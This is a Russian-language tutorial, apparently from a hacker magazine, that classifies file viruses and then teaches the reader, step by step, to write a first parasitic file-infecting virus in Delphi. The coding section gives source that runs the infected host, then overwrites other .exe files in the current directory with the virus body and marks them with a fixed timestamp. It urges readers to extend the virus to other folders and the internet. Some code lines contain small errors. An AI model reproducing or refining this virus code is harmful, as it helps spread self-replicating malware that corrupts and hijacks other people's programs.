Классификация
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше. 
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми. 
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
| MZТело злобного вируса | 
| MZКод программы | 
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
| MZтело злобного вируса | 
| XORed часть ориг. проги | 
| Неизменная часть ориг. проги | 
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ. 
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Кодинг
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf    : array of char;
    SR                        : TSearchRec;
    My,pr                     : File;
    ProgSize,result           : integer;
    PN,st                     : String;
    si                        : Tstartupinfo;
    p                         :Tprocessinformation;
    infected                  : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)),  My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше).  result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂  Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
 begin
 //Запуск программы
 AssignFile (my,'c:\windows\program.exe);
 Reset (my);
 ProgSize:= FileSize(my)-VirLen;
 BlockRead (my,virbuf,virlen);
 SetLength (progbuf,pRogSize);
 BlockRead (my,progbuf,progSize);
 CloseFile (my);
 PN:= '_'+ParamStr(0);
 AssignFile (pr,PN);
 ReWrite (pr);
 BlockWrite (pr,progbuf,progSize);
 CloseFile (pr);
 FillChar( Si, SizeOf( Si ) , 0 );
  with Si do
   begin
   cb := SizeOf( Si);
   dwFlags := startf_UseShowWindow;
   wShowWindow := 4;
   end;
 PN:= PN+#0;
 Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
 Waitforsingleobject(p.hProcess,infinite);
 //Запустили, программа отработала. Сотрем ее 🙂
 ErAsE (pr);
 Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi. 
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
 begin
 //Проверка на вшивость
 Infected:= false;
 IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
 //Проверено!
 IF (infected= false)and (sr.name<>paramstr(0)) then
  begin
  AssignFile (my,sr.Name);
  ReWrite (my);
  BlockWrite (my,virbuf,virlen);
  BlockWrite (my,progbuf,sr.Size);
  CloseFile (my);
  FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
  end;
 end;
 //Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
 end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Заключение
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Приложение
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
 
